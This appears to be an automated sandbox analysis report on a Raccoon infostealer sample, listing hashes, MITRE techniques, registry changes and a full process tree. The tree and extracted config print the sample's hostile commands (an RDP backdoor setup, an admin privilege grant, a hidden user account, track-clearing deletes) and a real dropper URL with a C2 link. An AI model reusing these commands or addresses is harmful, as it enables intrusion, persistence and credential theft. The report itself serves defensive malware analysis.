raccoon | 15e71d5e4b29bbf6f1e97bb6ff2cfdb199fb040746d57443163a5c8fecd745aa

Analysis

max time kernel
122s
max time network
123s
platform
windows10_x64
resource
win10v20210410
submitted
02-06-2021 09:01

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General

Target

SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
Size

567KB
MD5

573cd4172367221cd990c2ddb86cc645
SHA1

fe4964a2da09a84bbdea7aa415e7ba83353bd513
SHA256

15e71d5e4b29bbf6f1e97bb6ff2cfdb199fb040746d57443163a5c8fecd745aa
SHA512

40db488bdfa7e01d605025dfca420b893861a0cbfc2fec2193fdc9f52b25a136300cdbae37b5891c6caac4635e93d342e23e339afcb7cc55a8eecd90e3d6a264

Score

10^/10

raccoon e46634757936706c1ff491585768dd6fe231db30 discovery persistence spyware stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
22	1712	powershell.exe
24	1712	powershell.exe
25	1712	powershell.exe
26	1712	powershell.exe
28	1712	powershell.exe
30	1712	powershell.exe
32	1712	powershell.exe
34	1712	powershell.exe
36	1712	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3996	n5dn7Vn2g8.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000900000000068b-236.dat	upx
behavioral2/files/0x000a000000000695-237.dat	upx

Loads dropped DLL 8 IoCs

pid	Process
4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
3904	Process not Found
3904	Process not Found

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI55E5.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5595.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_ewcucydf.nks.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_2h5p1yq4.gw5.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5575.tmp	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI55C5.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5554.tmp	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4192	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\ef29a4ec885fa451 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c00550073006500720020004100670065006e0074002c000000010054004d006f007a0069006c006c0061002f0035002e0030002000280063006f006d00700061007400690062006c0065003b0020004d00530049004500200039002e0030003b002000570069006e003300320029000000000000000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4968	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	26	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	28	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe
3236	powershell.exe
3236	powershell.exe
3236	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
4508	powershell.exe
4508	powershell.exe
4508	powershell.exe
4208	powershell.exe
4208	powershell.exe
4208	powershell.exe
1712	powershell.exe
1712	powershell.exe
1712	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
628	Process not Found
628	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4208	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeIncreaseQuotaPrivilege	3236	powershell.exe
Token: SeSecurityPrivilege	3236	powershell.exe
Token: SeTakeOwnershipPrivilege	3236	powershell.exe
Token: SeLoadDriverPrivilege	3236	powershell.exe
Token: SeSystemProfilePrivilege	3236	powershell.exe
Token: SeSystemtimePrivilege	3236	powershell.exe
Token: SeProfSingleProcessPrivilege	3236	powershell.exe
Token: SeIncBasePriorityPrivilege	3236	powershell.exe
Token: SeCreatePagefilePrivilege	3236	powershell.exe
Token: SeBackupPrivilege	3236	powershell.exe
Token: SeRestorePrivilege	3236	powershell.exe
Token: SeShutdownPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeSystemEnvironmentPrivilege	3236	powershell.exe
Token: SeRemoteShutdownPrivilege	3236	powershell.exe
Token: SeUndockPrivilege	3236	powershell.exe
Token: SeManageVolumePrivilege	3236	powershell.exe
Token: 33	3236	powershell.exe
Token: 34	3236	powershell.exe
Token: 35	3236	powershell.exe
Token: 36	3236	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	powershell.exe
Token: SeSecurityPrivilege	2756	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	powershell.exe
Token: SeLoadDriverPrivilege	2756	powershell.exe
Token: SeSystemProfilePrivilege	2756	powershell.exe
Token: SeSystemtimePrivilege	2756	powershell.exe
Token: SeProfSingleProcessPrivilege	2756	powershell.exe
Token: SeIncBasePriorityPrivilege	2756	powershell.exe
Token: SeCreatePagefilePrivilege	2756	powershell.exe
Token: SeBackupPrivilege	2756	powershell.exe
Token: SeRestorePrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeSystemEnvironmentPrivilege	2756	powershell.exe
Token: SeRemoteShutdownPrivilege	2756	powershell.exe
Token: SeUndockPrivilege	2756	powershell.exe
Token: SeManageVolumePrivilege	2756	powershell.exe
Token: 33	2756	powershell.exe
Token: 34	2756	powershell.exe
Token: 35	2756	powershell.exe
Token: 36	2756	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeIncreaseQuotaPrivilege	4508	powershell.exe
Token: SeSecurityPrivilege	4508	powershell.exe
Token: SeTakeOwnershipPrivilege	4508	powershell.exe
Token: SeLoadDriverPrivilege	4508	powershell.exe
Token: SeSystemProfilePrivilege	4508	powershell.exe
Token: SeSystemtimePrivilege	4508	powershell.exe
Token: SeProfSingleProcessPrivilege	4508	powershell.exe
Token: SeIncBasePriorityPrivilege	4508	powershell.exe
Token: SeCreatePagefilePrivilege	4508	powershell.exe
Token: SeBackupPrivilege	4508	powershell.exe
Token: SeRestorePrivilege	4508	powershell.exe
Token: SeShutdownPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeSystemEnvironmentPrivilege	4508	powershell.exe
Token: SeRemoteShutdownPrivilege	4508	powershell.exe
Token: SeUndockPrivilege	4508	powershell.exe
Token: SeManageVolumePrivilege	4508	powershell.exe
Token: 33	4508	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 3996	4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	79
PID 4436 wrote to memory of 3996	4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	79
PID 4436 wrote to memory of 4052	4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	80
PID 4436 wrote to memory of 4052	4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	80
PID 4436 wrote to memory of 4052	4436	SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe	80
PID 4052 wrote to memory of 4192	4052	cmd.exe	82
PID 4052 wrote to memory of 4192	4052	cmd.exe	82
PID 4052 wrote to memory of 4192	4052	cmd.exe	82
PID 3996 wrote to memory of 4208	3996	n5dn7Vn2g8.exe	83
PID 3996 wrote to memory of 4208	3996	n5dn7Vn2g8.exe	83
PID 4208 wrote to memory of 2664	4208	powershell.exe	85
PID 4208 wrote to memory of 2664	4208	powershell.exe	85
PID 2664 wrote to memory of 592	2664	csc.exe	86
PID 2664 wrote to memory of 592	2664	csc.exe	86
PID 4208 wrote to memory of 3236	4208	powershell.exe	87
PID 4208 wrote to memory of 3236	4208	powershell.exe	87
PID 4208 wrote to memory of 2756	4208	powershell.exe	90
PID 4208 wrote to memory of 2756	4208	powershell.exe	90
PID 4208 wrote to memory of 4508	4208	powershell.exe	92
PID 4208 wrote to memory of 4508	4208	powershell.exe	92
PID 4208 wrote to memory of 4920	4208	powershell.exe	95
PID 4208 wrote to memory of 4920	4208	powershell.exe	95
PID 4208 wrote to memory of 4968	4208	powershell.exe	96
PID 4208 wrote to memory of 4968	4208	powershell.exe	96
PID 4208 wrote to memory of 4876	4208	powershell.exe	97
PID 4208 wrote to memory of 4876	4208	powershell.exe	97
PID 4208 wrote to memory of 4948	4208	powershell.exe	98
PID 4208 wrote to memory of 4948	4208	powershell.exe	98
PID 4948 wrote to memory of 3896	4948	net.exe	99
PID 4948 wrote to memory of 3896	4948	net.exe	99
PID 4208 wrote to memory of 3248	4208	powershell.exe	100
PID 4208 wrote to memory of 3248	4208	powershell.exe	100
PID 3248 wrote to memory of 5068	3248	cmd.exe	101
PID 3248 wrote to memory of 5068	3248	cmd.exe	101
PID 5068 wrote to memory of 5060	5068	cmd.exe	102
PID 5068 wrote to memory of 5060	5068	cmd.exe	102
PID 5060 wrote to memory of 4496	5060	net.exe	103
PID 5060 wrote to memory of 4496	5060	net.exe	103
PID 4208 wrote to memory of 4524	4208	powershell.exe	104
PID 4208 wrote to memory of 4524	4208	powershell.exe	104
PID 4524 wrote to memory of 3956	4524	cmd.exe	105
PID 4524 wrote to memory of 3956	4524	cmd.exe	105
PID 3956 wrote to memory of 3260	3956	cmd.exe	106
PID 3956 wrote to memory of 3260	3956	cmd.exe	106
PID 3260 wrote to memory of 4452	3260	net.exe	107
PID 3260 wrote to memory of 4452	3260	net.exe	107
PID 2208 wrote to memory of 3368	2208	cmd.exe	111
PID 2208 wrote to memory of 3368	2208	cmd.exe	111
PID 3368 wrote to memory of 3940	3368	net.exe	112
PID 3368 wrote to memory of 3940	3368	net.exe	112
PID 2288 wrote to memory of 3336	2288	cmd.exe	115
PID 2288 wrote to memory of 3336	2288	cmd.exe	115
PID 3336 wrote to memory of 4556	3336	net.exe	116
PID 3336 wrote to memory of 4556	3336	net.exe	116
PID 4676 wrote to memory of 4060	4676	cmd.exe	119
PID 4676 wrote to memory of 4060	4676	cmd.exe	119
PID 4060 wrote to memory of 4992	4060	net.exe	120
PID 4060 wrote to memory of 4992	4060	net.exe	120
PID 1016 wrote to memory of 1832	1016	cmd.exe	123
PID 1016 wrote to memory of 1832	1016	cmd.exe	123
PID 1832 wrote to memory of 3872	1832	net.exe	124
PID 1832 wrote to memory of 3872	1832	net.exe	124
PID 8 wrote to memory of 4612	8	cmd.exe	127
PID 8 wrote to memory of 4612	8	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Users\Admin\AppData\Local\Temp\n5dn7Vn2g8.exe
  "C:\Users\Admin\AppData\Local\Temp\n5dn7Vn2g8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\utv3liix\utv3liix.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2664
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1771.tmp" "c:\Users\Admin\AppData\Local\Temp\utv3liix\CSC146BF4F389B4411901AF76C737CFEC.TMP"
        5⤵
        
        PID:592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4508
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:4920
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:4968
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:4876
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4948
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:3896
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3248
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5068
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5060
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:4496
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4524
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3956
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3260
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:4452
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:2740
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:1012
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.W32.AIDetect.malware1.10325.5378.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:4192

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2208
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:3940

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc s5RSpUma /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2288
